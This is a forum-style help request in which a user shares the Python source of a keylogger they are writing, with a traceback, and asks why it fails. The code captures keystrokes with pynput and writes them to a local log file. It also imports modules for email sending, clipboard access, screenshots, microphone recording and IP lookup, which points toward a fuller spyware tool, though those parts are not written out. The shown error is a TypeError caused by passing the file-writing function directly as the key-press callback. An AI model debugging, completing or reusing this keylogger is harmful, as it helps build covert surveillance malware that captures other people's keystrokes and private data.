I'am writing a keylogger and I'am having this error when I run
the code can someone tell me what is wrong with the code
I'am using python 3.8
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
from pynput.keyboard import Key, Listener
import socket
import platform
import pywintypes
import win32clipboard
import time
import os
from scipy.io.wavfile import write
import sounddevice as sd
from cryptography.fernet import Fernet
import getpass
from requests import get
from multiprocessing import process, freeze_support
from PIL import ImageGrab
Keys_informations = "Key_log.txt"
file_path = "D:\\ScreenLogger"
extends = "\\"
count = 0
keys = []
def on_press(key):
global keys, count
print(key)
keys.append(key)
count +=1
if count >= 1:
count = 0
write_to_file(keys)
def write_to_file(keys):
with open(file_path + extends + Keys_informations, "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
f.close()
elif k.find("key") == -1:
f.write(k)
f.close()
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=write_to_file, on_release=on_release) as listener:
listener.join()
this is the error:
Unhandled exception in listener callback
Traceback (most recent call last):
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
return f(self, *args, **kwargs)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
self.on_press(key)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
if f(*args) is False:
File "d:\ScreenLogger\keylogger.py", line 49, in write_to_file
for key in keys:
TypeError: 'KeyCode' object is not iterable
Traceback (most recent call last):
File "d:\ScreenLogger\keylogger.py", line 63, in <module>
listener.join()
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 276, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\six.py", line 718, in reraise
raise value.with_traceback(tb)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
return f(self, *args, **kwargs)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
self.on_press(key)
File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
if f(*args) is False:
File "d:\ScreenLogger\keylogger.py", line 49, in write_to_file
for key in keys:
TypeError: 'KeyCode' object is not iterable